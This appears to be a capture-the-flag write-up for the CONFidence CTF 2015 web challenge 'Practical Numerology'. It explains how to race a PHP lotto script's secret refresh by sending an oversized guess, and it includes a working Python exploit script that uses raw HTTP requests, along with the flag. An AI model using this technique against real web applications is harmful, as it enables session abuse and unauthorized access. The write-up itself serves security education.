Skip to content
Branch: master
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Type Name Latest commit message Commit time
Failed to load latest commit information.

Teaser CONFidence CTF 2015: Practical Numerology

Challenge details

Contest Challenge Category Points
Teaser CONFidence CTF 2015 Practical Numerology Web 300


Here's a lotto script, running on my old and slow computer. Can you pwn it?


The lotto script effectively does the following:

  • It checks if the session (handled in PHP using cookies) contains the 'secret' variable, if not it generates a new secret
  • It checks if the POST variable 'guess' is set, if so it compares the guess against the stored secret and if it matches we get the flag
  • If it does not match, the secret is displayed and gets refreshed

So essentially we get a single shot at guessing the secret right.

Given that the secrets are, for all intents and purposes, generated securely:

function generate_secret()
   $f = fopen('/dev/urandom','rb');
   $secret1 = fread($f,32);
   $secret2 = fread($f,32);
   return sha1($secret1).sha1($secret2);

We will have to either somehow prevent the secret from being refreshed or be quick enough to submit it before it gets refreshed. The former could be possible with a HEAD request which will halt script execution at first output hence not executing the secret-refreshing code. Since our guess has to be submitted as a POST variable, however, this is not an option.

Looking at the code, however, we do see that in the case of a wrong guess the guess attempt itself is output too (being processed by htmlspecialchars first):

echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";

$_SESSION['secret'] = generate_secret();

Hence, if we make a request with a very large guess, we can buy ourselves some time between the display of the secret and its refreshing. So our exploit will consist of creating a session, making a very large guess, extracting the secret from the response and immediately closing the connection (since we can only have one connection per session) and submit the secret:

# Teaser CONFidence CTF 2015
# Practical numerology (WEB/300)
# @a: Smoke Leet Everyday
# @u:

import socket
import re

url = ''
data = 'guess='

payload1 = 'GET / HTTP/1.1\r\n'
payload1 += 'Host:\r\n\r\n'

payload2 = "POST / HTTP/1.1\r\n"
payload2 += "Host:\r\n"
payload2 += "Cookie: PHPSESSID={}\r\n"
payload2 += "Content-Length: {}\r\n"
payload2 += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
payload2 += "{}"

s = socket.create_connection((url, 80))
cookie = re.findall('PHPSESSID=(.*);', s.recv(1500))[0]

s = socket.create_connection((url, 80))
guess = data + 'A'*1000000
s.send(payload2.format(cookie, len(guess), guess))
secret = re.findall("'(.*)' !=", s.recv(500))[0]

s = socket.create_connection((url, 80))
guess = data + secret
s.send(payload2.format(cookie, len(guess), guess))
print s.recv(2000).splitlines()[-1]

Which produces the following output:

$ ./ 
Lucky bastard! You won the flag! DrgnS{JustThinkOutOfTheBoxSometimes...}
You can’t perform that action at this time.